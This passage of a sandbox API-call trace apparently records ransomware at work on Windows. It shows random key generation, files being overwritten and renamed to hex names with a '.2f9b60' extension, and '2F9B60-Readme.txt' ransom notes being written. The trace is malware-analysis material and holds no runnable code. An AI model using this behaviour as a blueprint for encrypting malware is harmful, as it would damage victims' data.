BaseAddress=0x1ced8760) returned 1 [0148.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0148.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7790) returned 1 [0148.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77c0) returned 1 [0148.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b869ec0 [0148.148] wcscat (in: _Dest=0x1b869ec0, _Source="d72127b82454b547ea6d" | out: _Dest="C:\\Users\\Default\\Searches\\d72127b82454b547ea6d") returned="C:\\Users\\Default\\Searches\\d72127b82454b547ea6d" [0148.148] wcscat (in: _Dest=0x1b869ec0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Searches\\d72127b82454b547ea6d.2f9b60") returned="C:\\Users\\Default\\Searches\\d72127b82454b547ea6d.2f9b60" [0148.148] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Searches\\d72127b82454b547ea6d.2f9b60", NtPathName=0x32f4fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Searches\\d72127b82454b547ea6d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0148.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506810 [0148.148] NtSetInformationFile (FileHandle=0xe30, IoStatusBlock=0x32f4fc90, FileInformation=0x20506810, Length=0x8a, FileInformationClass=0xa) [0200.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506810) returned 1 [0200.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20292c70) returned 1 [0200.433] NtQueryInformationFile (in: FileHandle=0xe30, IoStatusBlock=0x32f4fc58, FileInformation=0x32f4fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x32f4fc58, FileInformation=0x32f4fc68) returned 0x0 [0200.433] NtSetInformationFile (FileHandle=0xe30, IoStatusBlock=0x32f4fc58, FileInformation=0x32f4fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0204.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0204.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad080) returned 1 [0204.262] FlushFileBuffers (hFile=0xe30) returned 1 [0205.751] CloseHandle (hObject=0xe30) returned 1 [0209.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4319fd70 [0209.398] wcscpy (in: _Dest=0x4319fd70, _Source="C:\\Users\\Default\\Searches\\" | out: _Dest="C:\\Users\\Default\\Searches\\") returned="C:\\Users\\Default\\Searches\\" [0209.398] wcscat (in: _Dest=0x4319fd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Searches\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Searches\\2F9B60-Readme.txt" [0209.398] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\searches\\2f9b60-readme.txt")) returned 0x20 [0209.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319fd70) returned 1 [0209.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2050) returned 1 Thread: id = 1050 os_tid = 0x1710 [0110.380] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms")) returned 0x23 [0110.380] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x20) returned 1 [0110.381] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17a8 [0110.381] GetFileSizeEx (in: hFile=0x17a8, lpFileSize=0x32ecf7a0 | out: lpFileSize=0x32ecf7a0*=248) returned 1 [0110.381] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.381] ReadFile (in: hFile=0x17a8, lpBuffer=0x32ecf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32ecf768, lpOverlapped=0x0 | out: lpBuffer=0x32ecf720*, lpNumberOfBytesRead=0x32ecf768*=0x4, lpOverlapped=0x0) returned 1 [0110.382] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0110.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7760 [0110.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.382] NtQuerySystemTime (in: CurrentTime=0x32ecf660 | out: CurrentTime=0x32ecf660*=132462177158530000) returned 0x0 [0110.382] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x4f05b14d [0110.382] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x2e6a8f8 [0110.382] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x45b5507e [0110.382] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x60763120 [0110.382] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x6018e97d [0110.382] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x17d89790 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x490de868 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x11b79c44 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x5d05a869 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x2e9c0fa5 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x70cb21f8 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x4dc7bcee [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x3e7a34c2 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x18ffbf87 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x927975f [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x37b08b76 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x72a6d3e [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x258c0ed7 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x307b857c [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x4177b5a3 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x3ca44133 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x7b40c7 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x7aaae933 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x5dd2859c [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x507f7a2b [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x4b6d1b2c [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x109b9bb6 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x407bf281 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x5aa61a2b [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x6c61ca38 [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x10892bed [0110.383] RtlRandomEx (in: Seed=0x32ecf650 | out: Seed=0x32ecf650) returned 0x23f6ee40 [0110.394] ReadFile (in: hFile=0x17a8, lpBuffer=0x41e5b4e0, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x32ecf650, lpOverlapped=0x0 | out: lpBuffer=0x41e5b4e0*, lpNumberOfBytesRead=0x32ecf650*=0xf8, lpOverlapped=0x0) returned 1 [0110.394] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.394] WriteFile (in: hFile=0x17a8, lpBuffer=0x41e71d40*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x32ecf654, lpOverlapped=0x0 | out: lpBuffer=0x41e71d40*, lpNumberOfBytesWritten=0x32ecf654*=0xf8, lpOverlapped=0x0) returned 1 [0147.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fe0 [0147.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8790 [0147.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8790) returned 1 [0147.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e71d40) returned 1 [0147.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0147.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0147.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0147.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1cd97620 [0147.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0147.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8699c0 [0147.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8790 [0147.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8790) returned 1 [0147.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1cd975d0 [0147.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8790 [0147.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8760 [0147.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8760) returned 1 [0147.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0147.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0147.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x128) returned 0x1b866130 [0147.881] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.881] WriteFile (in: hFile=0x17a8, lpBuffer=0x1b866130*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x32ecf770, lpOverlapped=0x0 | out: lpBuffer=0x1b866130*, lpNumberOfBytesWritten=0x32ecf770*=0x128, lpOverlapped=0x0) returned 1 [0148.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0148.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0148.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0148.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7aa1a0 [0148.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0148.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620f0 [0148.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202620f0) returned 1 [0148.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0148.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b869ec0 [0148.138] sprintf (in: _Dest=0x1b869ec0, _Format="%c%c" | out: _Dest="ae") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ec2, _Format="%c%c" | out: _Dest="d0") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ec4, _Format="%c%c" | out: _Dest="0e") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ec6, _Format="%c%c" | out: _Dest="d8") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ec8, _Format="%c%c" | out: _Dest="96") returned 2 [0148.138] sprintf (in: _Dest=0x1b869eca, _Format="%c%c" | out: _Dest="2b") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ecc, _Format="%c%c" | out: _Dest="7d") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ece, _Format="%c%c" | out: _Dest="80") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ed0, _Format="%c%c" | out: _Dest="30") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ed2, _Format="%c%c" | out: _Dest="ca") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ed4, _Format="%c%c" | out: _Dest="c3") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ed6, _Format="%c%c" | out: _Dest="e1") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ed8, _Format="%c%c" | out: _Dest="b3") returned 2 [0148.138] sprintf (in: _Dest=0x1b869eda, _Format="%c%c" | out: _Dest="88") returned 2 [0148.138] sprintf (in: _Dest=0x1b869edc, _Format="%c%c" | out: _Dest="7e") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ede, _Format="%c%c" | out: _Dest="6f") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ee0, _Format="%c%c" | out: _Dest="e6") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ee2, _Format="%c%c" | out: _Dest="ab") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ee4, _Format="%c%c" | out: _Dest="ce") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ee6, _Format="%c%c" | out: _Dest="44") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ee8, _Format="%c%c" | out: _Dest="0d") returned 2 [0148.138] sprintf (in: _Dest=0x1b869eea, _Format="%c%c" | out: _Dest="6d") returned 2 [0148.138] sprintf (in: _Dest=0x1b869eec, _Format="%c%c" | out: _Dest="d3") returned 2 [0148.138] sprintf (in: _Dest=0x1b869eee, _Format="%c%c" | out: _Dest="ed") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ef0, _Format="%c%c" | out: _Dest="d4") returned 2 [0148.138] sprintf (in: _Dest=0x1b869ef2, _Format="%c%c" | out: _Dest="7c") returned 2 [0148.139] sprintf (in: _Dest=0x1b869ef4, _Format="%c%c" | out: _Dest="0d") returned 2 [0148.139] sprintf (in: _Dest=0x1b869ef6, _Format="%c%c" | out: _Dest="a2") returned 2 [0148.139] sprintf (in: _Dest=0x1b869ef8, _Format="%c%c" | out: _Dest="5b") returned 2 [0148.139] sprintf (in: _Dest=0x1b869efa, _Format="%c%c" | out: _Dest="7c") returned 2 [0148.139] sprintf (in: _Dest=0x1b869efc, _Format="%c%c" | out: _Dest="68") returned 2 [0148.139] sprintf (in: _Dest=0x1b869efe, _Format="%c%c" | out: _Dest="2e") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f00, _Format="%c%c" | out: _Dest="00") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f02, _Format="%c%c" | out: _Dest="38") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f04, _Format="%c%c" | out: _Dest="e7") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f06, _Format="%c%c" | out: _Dest="d0") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f08, _Format="%c%c" | out: _Dest="c2") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f0a, _Format="%c%c" | out: _Dest="cc") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f0c, _Format="%c%c" | out: _Dest="f1") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f0e, _Format="%c%c" | out: _Dest="12") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f10, _Format="%c%c" | out: _Dest="7e") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f12, _Format="%c%c" | out: _Dest="e8") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f14, _Format="%c%c" | out: _Dest="a8") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f16, _Format="%c%c" | out: _Dest="03") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f18, _Format="%c%c" | out: _Dest="2b") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f1a, _Format="%c%c" | out: _Dest="01") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f1c, _Format="%c%c" | out: _Dest="eb") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f1e, _Format="%c%c" | out: _Dest="bc") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f20, _Format="%c%c" | out: _Dest="e2") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f22, _Format="%c%c" | out: _Dest="f8") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f24, _Format="%c%c" | out: _Dest="fe") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f26, _Format="%c%c" | out: _Dest="e9") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f28, _Format="%c%c" | out: _Dest="af") returned 2 [0148.139] sprintf (in: _Dest=0x1b869f2a, _Format="%c%c" | out: _Dest="fe") returned 2 [0148.139] RtlInitAnsiString (in: DestinationString=0x32ecf7e8, SourceString="aed00ed8962b7d8030cac3e1b3887e6fe6abce440d6dd3edd47c0da25b7c682e0038e7d0c2ccf1127ee8a8032b01ebbce2f8fee9affe" | out: DestinationString="aed00ed8962b7d8030cac3e1b3887e6fe6abce440d6dd3edd47c0da25b7c682e0038e7d0c2ccf1127ee8a8032b01ebbce2f8fee9affe") [0148.140] RtlAnsiStringToUnicodeString (in: DestinationString=0x32ecf7b8, SourceString="aed00ed8962b7d8030cac3e1b3887e6fe6abce440d6dd3edd47c0da25b7c682e0038e7d0c2ccf1127ee8a8032b01ebbce2f8fee9affe", AllocateDestinationString=1 | out: DestinationString="aed00ed8962b7d8030cac3e1b3887e6fe6abce440d6dd3edd47c0da25b7c682e0038e7d0c2ccf1127ee8a8032b01ebbce2f8fee9affe") returned 0x0 [0148.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b799700 [0148.140] RtlFreeAnsiString (AnsiString="a") [0148.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0148.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0148.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0148.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866130) returned 1 [0148.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0148.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8790) returned 1 [0148.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0148.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fe0) returned 1 [0148.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7760) returned 1 [0148.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7730) returned 1 [0148.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7700) returned 1 [0148.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85b880 [0148.142] wcscat (in: _Dest=0x1b85b880, _Source="aed00ed8962b7d8030cac3e1b38" | out: _Dest="C:\\Users\\Default\\Searches\\aed00ed8962b7d8030cac3e1b38") returned="C:\\Users\\Default\\Searches\\aed00ed8962b7d8030cac3e1b38" [0148.142] wcscat (in: _Dest=0x1b85b880, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Searches\\aed00ed8962b7d8030cac3e1b38.2f9b60") returned="C:\\Users\\Default\\Searches\\aed00ed8962b7d8030cac3e1b38.2f9b60" [0148.142] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Searches\\aed00ed8962b7d8030cac3e1b38.2f9b60", NtPathName=0x32ecf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Searches\\aed00ed8962b7d8030cac3e1b38.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0148.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20506950 [0148.142] NtSetInformationFile (FileHandle=0x17a8, IoStatusBlock=0x32ecf830, FileInformation=0x20506950, Length=0x98, FileInformationClass=0xa) returned 0x0 [0165.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506950) returned 1 [0165.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291230) returned 1 [0165.519] NtQueryInformationFile (in: FileHandle=0x17a8, IoStatusBlock=0x32ecf7f8, FileInformation=0x32ecf808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x32ecf7f8, FileInformation=0x32ecf808) returned 0x0 [0165.519] NtSetInformationFile (FileHandle=0x17a8, IoStatusBlock=0x32ecf7f8, FileInformation=0x32ecf808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0166.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b880) returned 1 [0166.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799700) returned 1 [0166.345] FlushFileBuffers (hFile=0x17a8) returned 1 [0187.651] CloseHandle (hObject=0x17a8) returned 1 [0199.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1cddf910 [0199.627] wcscpy (in: _Dest=0x1cddf910, _Source="C:\\Users\\Default\\Searches\\" | out: _Dest="C:\\Users\\Default\\Searches\\") returned="C:\\Users\\Default\\Searches\\" [0199.627] wcscat (in: _Dest=0x1cddf910, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Searches\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Searches\\2F9B60-Readme.txt" [0199.627] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\searches\\2f9b60-readme.txt")) returned 0xffffffff [0200.433] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\searches\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2de8 [0204.310] WriteFile (in: hFile=0x2de8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x32ecf6b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x32ecf6b0*=0xba9, lpOverlapped=0x0) returned 1 [0209.486] CloseHandle (hObject=0x2de8) returned 1 [0216.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf910) returned 1 [0216.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8686c0) returned 1 Thread: id = 1051 os_tid = 0x1714 [0110.397] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms")) returned 0x20 [0110.398] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", dwFileAttributes=0x20) returned 1 [0110.399] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0110.399] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x3307fba0 | out: lpFileSize=0x3307fba0*=876) returned 1 [0110.399] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.399] ReadFile (in: hFile=0x15e0, lpBuffer=0x3307fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3307fb68, lpOverlapped=0x0 | out: lpBuffer=0x3307fb20*, lpNumberOfBytesRead=0x3307fb68*=0x4, lpOverlapped=0x0) returned 1 [0110.400] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0110.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0110.401] NtQuerySystemTime (in: CurrentTime=0x3307fa60 | out: CurrentTime=0x3307fa60*=132462177158686000) returned 0x0 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x3906e623 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x1cdeefe3 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x23d03081 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0xfa1c90d [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x6c38d901 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x23422f19 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x4566a02c [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x2939cd96 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x148b63b2 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0xf94e323 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x591351b2 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x1b684a17 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x4e9a9c44 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x792102f0 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x4f1f93af [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0xe5672e4 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x404f29be [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x295496f5 [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x3e3f94ec [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x3f47f7fd [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: Seed=0x3307fa50) returned 0x1fd81d3e [0110.401] RtlRandomEx (in: Seed=0x3307fa50 | out: 